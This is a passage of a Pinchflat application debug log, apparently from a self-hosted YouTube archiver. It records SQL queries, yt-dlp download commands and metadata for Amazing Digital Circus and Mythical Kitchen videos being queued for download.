livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [75] 20:48:44.707 [info] Kicking off download for media item #75 (_Cfo55unVzM) 20:48:44.708 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [80, 75, ~U[2026-03-28 00:48:44Z], ~U[2026-03-28 00:48:44Z]] 20:48:44.708 [debug] Current batch of media processed. Will check again in 1000ms 20:48:45.156 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this episode: gun.\nGet the NEW TEAM JAX/POMNI PLUSH and more now!; https://digitalcircus.store \nalso there's a 20% OFF SALE only for the next 2 weeks!!!!\nAll proceeds go into making future episodes more awesome ❤️\n\nCredit to Michelle Zheng for the Thumbnail!", "duration" => 2033, "filename" => "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", "id" => "mOvhHim78YA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=mOvhHim78YA", "playlist_index" => 6, "timestamp" => 1755295206, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns", "upload_date" => "20250815"} 20:48:45.157 [debug] QUERY OK source="sources" db=0.3ms idle=449.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:45.158 [debug] QUERY OK source="sources" db=0.2ms idle=449.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:45.158 [debug] QUERY OK source="media_items" db=0.2ms idle=449.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-15 22:00:06Z], 2] 20:48:45.160 [debug] QUERY OK source="media_items" db=1.1ms idle=450.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode: gun.\nGet the NEW TEAM JAX/POMNI PLUSH and more now!; https://digitalcircus.store \nalso there's a 20% OFF SALE only for the next 2 weeks!!!!\nAll proceeds go into making future episodes more awesome ❤️\n\nCredit to Michelle Zheng for the Thumbnail!", "THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns", "40fb25cb-3d81-4054-b019-67d238d6478f", "https://www.youtube.com/watch?v=mOvhHim78YA", false, "mOvhHim78YA", 2033, false, 6, "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", false, false, 2, [], 0, ~U[2025-08-15 22:00:06Z], ~U[2026-03-28 00:48:45Z], ~U[2026-03-28 00:48:45Z], "In this episode: gun.\nGet the NEW TEAM JAX/POMNI PLUSH and more now!; https://digitalcircus.store \nalso there's a 20% OFF SALE only for the next 2 weeks!!!!\nAll proceeds go into making future episodes more awesome ❤️\n\nCredit to Michelle Zheng for the Thumbnail!", "THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns", "https://www.youtube.com/watch?v=mOvhHim78YA", "mOvhHim78YA", 2033, false, "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", false, 2, ~U[2025-08-15 22:00:06Z]] 20:48:45.160 [debug] QUERY OK source="sources" db=0.2ms idle=30.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:45.161 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:45.161 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76] 20:48:45.161 [info] Kicking off download for media item #76 (mOvhHim78YA) 20:48:45.163 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [81, 76, ~U[2026-03-28 00:48:45Z], ~U[2026-03-28 00:48:45Z]] 20:48:45.163 [debug] Current batch of media processed. Will check again in 1000ms 20:48:45.287 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/67/d9/67d9f14eac851890c3f6b743d74394c32a420bbcc4b7e4bcf794a16bf7507451.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:45.287 [debug] Running yt-dlp command for action: download 20:48:45.287 [debug] QUERY OK source="settings" db=0.1ms idle=126.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:45.287 [debug] QUERY OK source="settings" db=0.0ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:45.287 [debug] QUERY OK source="settings" db=0.0ms idle=124.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:45.287 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/18/0f/180f277bdea6d99f527c68747d2bb3996570c8000016ddcd9a5c8d2786d400ce.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:45.709 [debug] Current batch of media processed. Will check again in 1000ms 20:48:46.164 [debug] Current batch of media processed. Will check again in 1000ms 20:48:46.710 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we take a look back on the journey to ONE HUNDRED last meals! Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/zZ4gaId and use code mythicalkitchen at checkout for 20% off your first purchase.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2257, "filename" => "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", "id" => "5diMuiDQ2Wo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5diMuiDQ2Wo", "playlist_index" => 71, "timestamp" => 1774346408, "title" => "I can't believe we pulled it off...", "upload_date" => "20260324"} 20:48:46.710 [debug] QUERY OK source="sources" db=0.1ms idle=1547.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:46.711 [debug] QUERY OK source="sources" db=0.0ms idle=1423.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:46.711 [debug] QUERY OK source="media_items" db=0.1ms idle=1423.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 10:00:08Z], 1] 20:48:46.711 [debug] QUERY OK source="media_items" db=0.4ms idle=1423.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we take a look back on the journey to ONE HUNDRED last meals! Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/zZ4gaId and use code mythicalkitchen at checkout for 20% off your first purchase.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "I can't believe we pulled it off...", "2b411929-b36f-4f4d-a393-4adeee622154", "https://www.youtube.com/watch?v=5diMuiDQ2Wo", false, "5diMuiDQ2Wo", 2257, false, 71, "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", false, false, 1, [], 0, ~U[2026-03-24 10:00:08Z], ~U[2026-03-28 00:48:46Z], ~U[2026-03-28 00:48:46Z], "Today we take a look back on the journey to ONE HUNDRED last meals! Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/zZ4gaId and use code mythicalkitchen at checkout for 20% off your first purchase.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "I can't believe we pulled it off...", "https://www.youtube.com/watch?v=5diMuiDQ2Wo", "5diMuiDQ2Wo", 2257, false, "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", false, 1, ~U[2026-03-24 10:00:08Z]] 20:48:46.712 [debug] QUERY OK source="sources" db=0.0ms idle=580.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:46.712 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:46.712 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [77] 20:48:46.712 [info] Kicking off download for media item #77 (5diMuiDQ2Wo) 20:48:46.712 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [82, 77, ~U[2026-03-28 00:48:46Z], ~U[2026-03-28 00:48:46Z]] 20:48:46.712 [debug] Current batch of media processed. Will check again in 1000ms 20:48:47.165 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Beach episode!!!!!!\nWOWIE! Get the NEW DIGITAL CIRCUS FIGURES and more now!; https://digitalcircus.store also there's a CHRISTMAS SALE where you can get up to 30% OFF!!! ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "duration" => 1975, "filename" => "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", "id" => "oaOG1xOk7XY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oaOG1xOk7XY", "playlist_index" => 7, "timestamp" => 1765580406, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode", "upload_date" => "20251212"} 20:48:47.165 [debug] QUERY OK source="sources" db=0.1ms idle=453.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:47.166 [debug] QUERY OK source="sources" db=0.0ms idle=453.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:47.166 [debug] QUERY OK source="media_items" db=0.0ms idle=453.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-12 23:00:06Z], 2] 20:48:47.166 [debug] QUERY OK source="media_items" db=0.2ms idle=453.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Beach episode!!!!!!\nWOWIE! Get the NEW DIGITAL CIRCUS FIGURES and more now!; https://digitalcircus.store also there's a CHRISTMAS SALE where you can get up to 30% OFF!!! ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode", "0f149d63-6fa2-4561-a173-2d4b2a46e515", "https://www.youtube.com/watch?v=oaOG1xOk7XY", false, "oaOG1xOk7XY", 1975, false, 7, "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", false, false, 2, [], 0, ~U[2025-12-12 23:00:06Z], ~U[2026-03-28 00:48:47Z], ~U[2026-03-28 00:48:47Z], "Beach episode!!!!!!\nWOWIE! Get the NEW DIGITAL CIRCUS FIGURES and more now!; https://digitalcircus.store also there's a CHRISTMAS SALE where you can get up to 30% OFF!!! ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode", "https://www.youtube.com/watch?v=oaOG1xOk7XY", "oaOG1xOk7XY", 1975, false, "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", false, 2, ~U[2025-12-12 23:00:06Z]] 20:48:47.166 [debug] QUERY OK source="sources" db=0.0ms idle=34.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:47.167 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:47.167 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [78] 20:48:47.167 [info] Kicking off download for media item #78 (oaOG1xOk7XY) 20:48:47.168 [debug] QUERY OK source="tasks" db=0.0ms idle=0.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [83, 78, ~U[2026-03-28 00:48:47Z], ~U[2026-03-28 00:48:47Z]] 20:48:47.168 [debug] Current batch of media processed. Will check again in 1000ms 20:48:47.713 [debug] Current batch of media processed. Will check again in 1000ms 20:48:48.168 [debug] Current batch of media processed. Will check again in 1000ms 20:48:48.326 [info] GET /settings 20:48:48.326 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: 